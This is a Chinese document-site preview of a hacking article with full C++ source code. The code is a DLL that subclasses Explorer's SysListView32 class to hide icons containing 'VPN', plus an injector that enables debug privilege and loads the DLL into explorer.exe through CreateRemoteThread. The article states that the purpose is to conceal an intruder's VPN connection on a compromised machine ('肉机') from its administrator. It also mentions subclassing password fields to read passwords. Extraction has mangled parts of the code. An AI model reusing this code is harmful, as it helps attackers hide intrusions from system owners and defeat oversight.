利用窗口子类化隐藏系统图标_第1页
利用窗口子类化隐藏系统图标_第2页
利用窗口子类化隐藏系统图标_第3页
利用窗口子类化隐藏系统图标_第4页
利用窗口子类化隐藏系统图标_第5页
已阅读5页,还剩1页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、利用窗口子类化隐藏系统图标作者: Kruglinski/ 下载源代码窗口子类化是一种非常有用的技术,通常它用在Windows GUI编程方面,我们用这种技术来创建新的控件,比如让SubClassing一个Edit控件添加一些消息处理让它变成MaskEdit控件等等.反过来想想如果我们SubClassing一个有ES_PASSWORD风格的窗口控件,得到它的密码是难是吗?很简单,不过是一句CallWindowProc调用,只不过在NT等系统上需要Inject一个DLL到目标进程来SubClassing一个进程中的窗口或是子窗口.用Spy

2、+看了一下,资源管理器里列表视图其实就是一个SysListView32控件,我们现在就是要创建一个新的SysListView32控件,让它不显示带有VPN字符串的图标.有时我们控制了一台肉机,用VPN拨进去,但又不想管理员发现它,肯定要隐藏很多东西,隐藏图标是最直观的一种.先来看看三个API:SetWindowLongSetClassLongCallWindowProcSetWindowLong可以改变一个窗口实例的窗口过程,它的作用范围仅仅是一个窗口.SetClassLong虽然操作的是一个窗口句柄,但作用却是对创建这个窗口的窗口类进行修改,我们可以让它修改进程范围内某种窗口类的窗口过程,这

3、里指的窗口类是User32窗口对象类,而不是MFC或是VCL窗口封装类.顺便提一下改变一个进程中的基本控件类也可以影响到它的超类,比如Delphi VCL使用超类化来创建控件,首先它会调用GetClassInfo得到某个类的系统窗口过程或风格等参数,比如SysListView32窗口类,然后用得到参数再注册(RegistetClass)一个TListView窗口类,能够在它GetClassInfo前先用SetClassLong子类化了某个窗口类,就可以实现其超类(如,TListView)的消息过滤.而CallWindowProc通常在我们处理完消息后再调用以实现控件基本的功能,因为我们可没有时

4、间写一个完整的EDIT控件或是SysListView32控件.废话不多说.一个实例Explorer.dll,它在Explorer.exe进程子类化SysListView32窗口类,然后过滤掉带有VPN字符串(不区分大小写)的图标,我使用了一个Magic Number,就是当图标少于32个时才进行搜索过滤,也就是说我假定系统中的网络连接不超过32个,这样做是为了提高程序性能,我们不去搜索很大的文件夹.程序由VC+ 6.0 sp5编译通过,Windows 2000 Professional下运行调试通过.使用方式是用远程线程注入到explorer.exe进程即可,而后在explorer.exe新打

5、开/创建的窗口中生效.过滤程序(explorer.cpp) #include stdafx.h#include #include #include #include #include #define MAGIC_NUMBER (0x20)WNDPROC lpfnSupperClassProc=NULL;_forceinlinevoid HideItem(HWND hListCtrl,DWORD dwItemcount) LVITEM li=0; char text50=0; li.pszText=text; li.cchTextMax=50; for(DWORD i=0;idwItemcoun

6、t;i+) CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_GETITEMTEXT,i,(LPARAM)&li); if(StrStrI(li.pszText,_T(vpn)!=NULL) CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_DELETEITEM,i,0); LRESULT CALLBACK ListFilterProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam) DWORD dwItemcount=0; if(WM_PAINT=

7、uMsg) dwItemcount=CallWindowProc(lpfnSupperClassProc,hwnd,LVM_GETITEMCOUNT,0,0); if(dwItemcountMAGIC_NUMBER) HideItem(hwnd,dwItemcount); return CallWindowProc(lpfnSupperClassProc,hwnd,uMsg,wParam,lParam);_forceinlineBOOL InstallListFilter() BOOL bRet=FALSE; HWND hWnd=NULL; INITCOMMONCONTROLSEX cls=s

8、izeof(INITCOMMONCONTROLSEX),ICC_WIN95_CLASSES; bRet=InitCommonControlsEx(&cls); if(bRet) hWnd=CreateWindow(_T(SysListView32),_T(),WS_CAPTION|LVS_REPORT,0,0,0,0,NULL,NULL,NULL,NULL); lpfnSupperClassProc=(WNDPROC)GetClassLong(hWnd,GCL_WNDPROC); SetClassLong(hWnd,GCL_WNDPROC,(LONG)ListFilterProc); Dest

9、royWindow(hWnd); return bRet;BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved) if(DLL_PROCESS_ATTACH=ul_reason_for_call) InstallListFilter(); return TRUE;注入程序:InjectDLL.cpp #include #include #include #include BOOL EnablePrivilege(char *PrviName)HANDLE hToken;TOKEN_PRI

10、VILEGES Newtp;BOOL bRet=FALSE;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);if(LookupPrivilegeValue(NULL,PrviName,&Newtp.Privileges0.Luid)Newtp.Privileges0.Attributes=SE_PRIVILEGE_ENABLED;Newtp.PrivilegeCount=1;if(AdjustTokenPrivileges(hToken,FALSE,&Newtp,sizeof(Newtp),NULL,N

11、ULL)bRet=TRUE;CloseHandle(hToken);return bRet;DWORD Process2PID(LPCTSTR lpszProcess)HANDLE hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);PROCESSENTRY32 pe;DWORD dwRet=0;pe.dwSize=sizeof(PROCESSENTRY32);if(hSnap)Process32First(hSnap,&pe);do if(!lstrcmpi(lpszProcess,pe.szExeFile)dwRet=pe.th32Pr

12、ocessID;break; while(Process32Next(hSnap,&pe);CloseHandle(hSnap);return dwRet;BOOL InjectDLL(DWORD dwPid,LPCTSTR lpszDll)if(!EnablePrivilege(SE_DEBUG_NAME)return FALSE;BOOL bRet=FALSE;HANDLE hProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPid);LPVOID pAddr=Vi

13、rtualAllocEx(hProcess,NULL,MAX_PATH,MEM_COMMIT,PAGE_READWRITE);WriteProcessMemory(hProcess,pAddr,lpszDll,lstrlen(lpszDll)+1,NULL);LPTHREAD_START_ROUTINE pfnLoadLibrary=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(kernel32.dll),LoadLibraryA);bRet=(BOOL)CreateRemoteThread(hProcess,NULL,1024,pfnLoadLibrary,pAddr,0,NULL);CloseHandle(hProcess);return bRet;int main(int argc,char *argv)printf(Inject DLL to explorer.exe %sn,InjectDLL(Process2PID(argv1),argv2)?successful:failed);getch();return 0;将两个分别编译好后用

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论